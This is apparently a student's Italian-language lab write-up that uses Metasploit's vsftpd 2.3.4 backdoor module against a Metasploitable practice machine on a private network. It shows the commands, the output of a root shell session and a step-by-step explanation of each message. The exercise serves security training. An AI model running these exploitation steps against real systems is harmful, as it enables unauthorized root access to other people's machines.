Traccia:

Partendo da quanto già visto su Metasploit, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «**vsftpd**».

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: **192.168.1.149/24.**

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella "test_metasploit".

SVOLGIMENTO:

Premessa: l'indirizzo della meta non l'ho cambiato poiché non essendo sulla stessa rete della kali l'exploit non poteva andare a buon fine e l'ho scoperto prima cambiando l'ip di meta facendo tutto l'esercizio l'exploit non andava a buon fine allora ho controllando poi ovviamente il ping la macchina meta naturalmente non mi pingava.

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Organize your work by creating workspaces with workspace -a
<name>
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here

# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||----w| *


       =[ metasploit v6.4.94-dev                          ]
+ -- --=[ 2,536 exploits - 1,309 auxiliary - 1,683 payloads     ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

ho avviato msfconsole

```
Interact with a module by name or index. For example info 6612, use 6612 or use exploit/unix/http/xdebug_unauth_exec

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks4, socks5, socks5h, http, sapni
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

ho lanciato il comando use unix/ftp/vsftpd_234_backdoor

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact     .                normal  No     Unix Command, Interact with Established Connection

msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

ho settato l'RHOST con l'indirizzo di meta e ho mostrato con il comando show i payloads c'era solo un payload disponibile per questo exploit.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.151:41679 → 192.168.50.101:6200) at 2025-10-25 06:46:45 -0400

```

```
       valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ sudo mkdir /test_metasploit
[sudo] password for msfadmin:
```

l'exploit è andato a buon fine lo possiamo notare dai messaggi

1. banner: il servizio vulnerabile di vsftpd è stato identificato
2. back door service has been spawned il payload è stato iniettato e il servizio remoto ha creato il processo di backdoor
3. UID ho ottenuto i privilegi root sulla macchina target
4. Found shell/command shell session 1 opened è stata aperta una shell remota.